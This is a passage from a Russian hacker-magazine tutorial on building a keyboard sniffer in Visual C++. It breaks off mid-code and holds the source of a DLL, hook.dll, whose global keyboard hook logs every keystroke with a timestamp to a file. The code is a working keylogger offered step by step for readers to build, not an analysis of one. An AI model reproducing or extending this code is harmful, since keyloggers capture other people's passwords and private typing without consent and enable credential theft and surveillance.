Высший пилотаж - пишем клавиатурный shiffer
Спецвыпуск Хакер, номер #004, стр. 004-074-4
ON_MESSAGE(XWM_NOTIFYICON, OnNotifyIcon)
Теперь EXE'ник полностью готов. Осталось только изменить About Box и перерисовать стандартную иконку. Для первого надо во вкладке Resource, окно проекта в ветке Dialog дважды щелкнуть элемент IDD_ABOUTBOX. В появившемся окне можно добавить текст со своим именем и копирайтом. Эта часть работы для самых скромных.
Компиль прогу (F7) и переходи к следующей части.
Часть пятая, или делаем DLL-часть проги
Чтобы сварганить DLL'ник, надо создать новый проект. В File->New надо выбрать вкладку Projects и тип проекта Win32 Dynamic-Link Library (10.jpg). Далее назвать проект "Hook", так как предполагается, что на выходе будет файл hook.dll. Нажимай OK и в окне визарда выбери A simple DLL project (11.jpg). Когда проект сгенерится, понадобится изменить файлы hook.cpp и stdafx.h. Вот как они должны выглядеть.
Stdafx.h:
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#if !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_)
#define AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Insert your headers here
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <windows.h>
#include <cstdio> // Эти три
#include <cstring> // строки надо
#include <ctime> // добавить!
// TODO: reference additional headers your program requires here
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_)
Hook.cpp:
// hook.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
HANDLE g_hMod;
TCHAR szLogName[256];
FILE* pFile;
HHOOK hhookKbd;
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
g_hMod = hModule;
return TRUE;
}
extern "C" {
__declspec(dllexport) void Release();
__declspec(dllexport) LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam);
__declspec(dllexport) void Init(LPCTSTR szFile);
};
void Release()
{
UnhookWindowsHookEx(hhookKbd);
}
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION && !(lParam & 0x80000000))
{
if (!(*szLogName))
{
LPTSTR lpszPath = new TCHAR[256];
GetModuleFileName((HINSTANCE) g_hMod, lpszPath, 256);
strcpy(strrchr(lpszPath, '\\') + 1, "logpath.txt");
FILE* pf = fopen(lpszPath, "r");
fscanf(pf, "%s", szLogName);
fclose(pf);
delete[] lpszPath;
}
pFile = fopen(szLogName, "a+");
time_t timer;
time(&timer);
char* p = ctime(&timer);
p[strlen(p) - 1] = 0;
TCHAR szKeyName[20];
GetKeyNameText(lParam, szKeyName, 19);
for (int i = 0; i < (lParam & 0x0000FFFF); i++)